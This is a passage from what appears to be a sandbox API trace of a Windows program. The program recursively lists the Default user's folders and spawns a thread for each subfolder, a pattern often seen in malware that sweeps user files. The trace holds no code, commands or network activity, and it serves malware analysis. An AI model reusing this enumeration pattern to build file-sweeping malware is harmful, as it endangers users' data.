(HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414410 [0048.993] wcscpy (in: _Dest=0x414410, _Source="C:\\Users\\Default\\Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0048.993] wcscat (in: _Dest=0x414410, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0048.993] wcscat (in: _Dest=0x414410, _Source="My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0048.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0048.994] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f798 | out: lpFindFileData=0x42f798*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0048.994] FindClose (in: hFindFile=0x409ce8 | out: hFindFile=0x409ce8) returned 1 [0048.995] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f798) returned 1 [0048.995] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0048.995] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409d28) returned 1 Thread: id = 198 os_tid = 0x7e4 [0046.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x4029a8 [0046.312] wcscpy (in: _Dest=0x4029a8, _Source="C:\\Users\\Default\\Downloads" | out: _Dest="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0046.312] wcscat (in: _Dest=0x4029a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0046.312] wcscat (in: _Dest=0x4029a8, _Source="*" | out: _Dest="C:\\Users\\Default\\Downloads\\*") returned="C:\\Users\\Default\\Downloads\\*" [0046.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fa00 [0046.312] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ca8 [0046.313] wcscmp (_String1=".", _String2=".") returned 0 [0046.313] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.313] wcscmp (_String1="..", _String2=".") returned 1 [0046.313] wcscmp (_String1="..", _String2="..") returned 0 [0046.313] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.313] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.313] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.313] FindNextFileW (in: hFindFile=0x409ca8, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.313] FindClose (in: hFindFile=0x409ca8 | out: hFindFile=0x409ca8) returned 1 [0046.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fa00) returned 1 [0046.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029a8) returned 1 [0046.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409d68) returned 1 Thread: id = 199 os_tid = 0x5b4 [0046.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x4029a8 [0046.319] wcscpy (in: _Dest=0x4029a8, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0046.319] wcscat (in: _Dest=0x4029a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0046.319] wcscat (in: _Dest=0x4029a8, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\*") returned="C:\\Users\\Default\\Favorites\\*" [0046.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fa00 [0046.319] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0048.768] wcscmp (_String1=".", _String2=".") returned 0 [0048.768] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.768] wcscmp (_String1="..", _String2=".") returned 1 [0048.768] wcscmp (_String1="..", _String2="..") returned 0 [0048.768] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.768] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.769] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.769] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0048.769] wcscmp (_String1="Links", _String2=".") returned 1 [0048.769] wcscmp (_String1="Links", _String2="..") returned 1 [0048.769] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444fa0 [0048.769] wcscpy (in: _Dest=0x444fa0, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0048.769] wcscat (in: _Dest=0x444fa0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0048.769] wcscat (in: _Dest=0x444fa0, _Source="Links" | out: _Dest="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links" [0049.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0049.601] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0049.601] wcscmp (_String1="Microsoft Websites", _String2=".") returned 1 [0049.601] wcscmp (_String1="Microsoft Websites", _String2="..") returned 1 [0049.601] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d730 [0049.601] wcscpy (in: _Dest=0x48d730, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0049.601] wcscat (in: _Dest=0x48d730, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0049.601] wcscat (in: _Dest=0x48d730, _Source="Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0049.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0049.603] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0049.603] wcscmp (_String1="MSN Websites", _String2=".") returned 1 [0049.603] wcscmp (_String1="MSN Websites", _String2="..") returned 1 [0049.603] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4142b0 [0049.603] wcscpy (in: _Dest=0x4142b0, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0049.603] wcscat (in: _Dest=0x4142b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0049.603] wcscat (in: _Dest=0x4142b0, _Source="MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0049.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4142b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0049.604] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0049.604] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0049.604] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0049.604] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x4141a8 [0049.604] wcscpy (in: _Dest=0x4141a8, _Source="C:\\Users\\Default\\Favorites" | out: _Dest="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0049.604] wcscat (in: _Dest=0x4141a8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0049.604] wcscat (in: _Dest=0x4141a8, _Source="Windows Live" | out: _Dest="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live" [0049.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4141a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0049.606] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x42fa00 | out: lpFindFileData=0x42fa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0049.606] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0049.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fa00) returned 1 [0049.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029a8) returned 1 [0049.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409da8) returned 1 Thread: id = 200 os_tid = 0x3c0 [0046.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409d68 [0046.320] wcscpy (in: _Dest=0x409d68, _Source="C:\\Users\\Default\\Links" | out: _Dest="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0046.320] wcscat (in: _Dest=0x409d68, _Source="\\" | out: _Dest="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0046.320] wcscat (in: _Dest=0x409d68, _Source="*" | out: _Dest="C:\\Users\\Default\\Links\\*") returned="C:\\Users\\Default\\Links\\*" [0046.320] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fc68 [0046.320] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440a20 [0048.770] wcscmp (_String1=".", _String2=".") returned 0 [0048.770] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.770] wcscmp (_String1="..", _String2=".") returned 1 [0048.770] wcscmp (_String1="..", _String2="..") returned 0 [0048.770] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.770] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.770] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.771] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0048.771] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0048.771] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0048.771] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0048.771] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0048.771] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0048.771] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0048.771] wcscmp (_String1="RecentPlaces.lnk", _String2=".") returned 1 [0048.771] wcscmp (_String1="RecentPlaces.lnk", _String2="..") returned 1 [0048.771] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0048.771] FindClose (in: hFindFile=0x440a20 | out: hFindFile=0x440a20) returned 1 [0048.772] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fc68) returned 1 [0048.772] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409d68) returned 1 [0048.772] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa68) returned 1 Thread: id = 201 os_tid = 0x3b0 [0046.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444dc0 [0046.321] wcscpy (in: _Dest=0x444dc0, _Source="C:\\Users\\Default\\Local Settings" | out: _Dest="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0046.321] wcscat (in: _Dest=0x444dc0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0046.321] wcscat (in: _Dest=0x444dc0, _Source="*" | out: _Dest="C:\\Users\\Default\\Local Settings\\*") returned="C:\\Users\\Default\\Local Settings\\*" [0046.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0046.321] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.120] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42fed0) returned 1 [0047.120] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444dc0) returned 1 [0047.120] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402690) returned 1 Thread: id = 202 os_tid = 0x274 [0046.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409ca8 [0046.321] wcscpy (in: _Dest=0x409ca8, _Source="C:\\Users\\Default\\Music" | out: _Dest="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0046.321] wcscat (in: _Dest=0x409ca8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0046.321] wcscat (in: _Dest=0x409ca8, _Source="*" | out: _Dest="C:\\Users\\Default\\Music\\*") returned="C:\\Users\\Default\\Music\\*" [0046.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430138 [0046.321] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f28 [0048.530] wcscmp (_String1=".", _String2=".") returned 0 [0048.530] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.530] wcscmp (_String1="..", _String2=".") returned 1 [0048.530] wcscmp (_String1="..", _String2="..") returned 0 [0048.530] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.530] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.530] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.530] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0048.530] FindClose (in: hFindFile=0x409f28 | out: hFindFile=0x409f28) returned 1 [0048.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430138) returned 1 [0048.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ca8) returned 1 [0048.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aaa0) returned 1 Thread: id = 203 os_tid = 0x874 [0046.322] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4029f0 [0046.322] wcscpy (in: _Dest=0x4029f0, _Source="C:\\Users\\Default\\My Documents" | out: _Dest="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0046.322] wcscat (in: _Dest=0x4029f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0046.322] wcscat (in: _Dest=0x4029f0, _Source="*" | out: _Dest="C:\\Users\\Default\\My Documents\\*") returned="C:\\Users\\Default\\My Documents\\*" [0046.322] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0046.322] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 